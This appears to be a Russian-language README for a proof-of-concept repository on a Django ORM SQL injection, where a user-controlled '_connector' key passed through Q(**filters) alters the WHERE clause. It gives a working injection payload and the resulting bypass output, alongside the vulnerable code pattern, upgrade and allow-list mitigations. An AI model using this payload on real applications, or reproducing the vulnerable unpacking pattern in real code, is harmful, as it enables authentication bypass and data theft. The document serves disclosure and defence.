
Уязвимость: SQL-инъекция через распаковку аргументов ключевых слов QuerySet и Q(). CVE ID: CVE-2025-64459 Серьезность: Критическая (CVSS 9.1) Затронутые версии: Django 5.1 < 5.1.14, 4.2 < 4.2.26, и 5.2 < 5.2.8. Исследователь: Cyberstan (Университет Уорика)
Уязвимость: SQL-инъекция через распаковку ключевых аргументов QuerySet и Q().
CVE ID: CVE-2025-64459
Обнаружил: Cyberstan
Дата раскрытия: 5 ноября 2025 г.
Этот репозиторий содержит контейнеризированное доказательство концепции (PoC), демонстрирующее критическую уязвимость SQL-инъекции в Django ORM.
Уязвимость заключается в том, как объект Q обрабатывает ключевые аргументы при создании. В частности, внутренний атрибут _connector не проходит должную санитаризацию при передаче через распаковку словаря (например, Q(**user_input)). Это позволяет удаленному злоумышленнику внедрять произвольную SQL-логику в предложение WHERE запроса к базе данных, что дает возможность обойти аутентификацию, извлечь данные и повысить привилегии.
Уязвимость находится в django.db.models.sql.where.WhereNode. Метод as_sql, отвечающий за компиляцию предложения SQL WHERE, использует небезопасное форматирование строк для вставки соединителя запросов (AND/OR).
Хотя по умолчанию соединитель обычно равен "AND" или "OR", Django позволяет переопределить его через ключевой аргумент _connector в конструкторе объекта Q.
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# The self.connector attribute is injected directly without validation
conn = ' %s ' % self.connector
# ...
Уязвимость срабатывает, когда разработчики используют распаковку словаря для создания фильтров из пользовательского ввода — распространенный шаблон в поисковых API.
Уязвимый шаблон кода:
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- VULNERABLE POINT
results = User.objects.filter(query)
Если злоумышленник включает _connector в качестве ключа в свой ввод, он может манипулировать структурой SQL.
Этот PoC использует Docker для обеспечения согласованной изолированной среды, содержащей уязвимую версию Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Выполните следующую команду для сборки среды и запуска сценария атаки:
docker-compose up --build
Контейнер выполнит Python-скрипт (poc.py), который имитирует уязвимую конечную точку приложения.
alice (обычный) и root (администратор)._connector.Успешный вывод эксплойта:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Немедленно обновите Django до последнего выпуска безопасности.
pip install Django==5.1.14 (или соответствующая версия)Исправление вводит строгую проверку в WhereNode, гарантируя, что connector всегда равен только AND или OR.
Если вы не можете обновиться немедленно, проверьте свою кодовую базу на использование Q(**kwargs) или filter(**kwargs). Убедитесь, что словарь, передаваемый этим методам, никогда не содержит необработанных ключей, контролируемых пользователем.
Безопасный шаблон:
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Now safe to unpack
User.objects.filter(**clean_filters)
Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности.
Предоставленный код создает уязвимую среду для демонстрации конкретной уязвимости. Его никогда не следует запускать в рабочей среде. Автор (Cyberstan) не несет ответственности за любое неправомерное использование этой информации. Тестирование этого эксплойта против систем без явного разрешения является незаконным.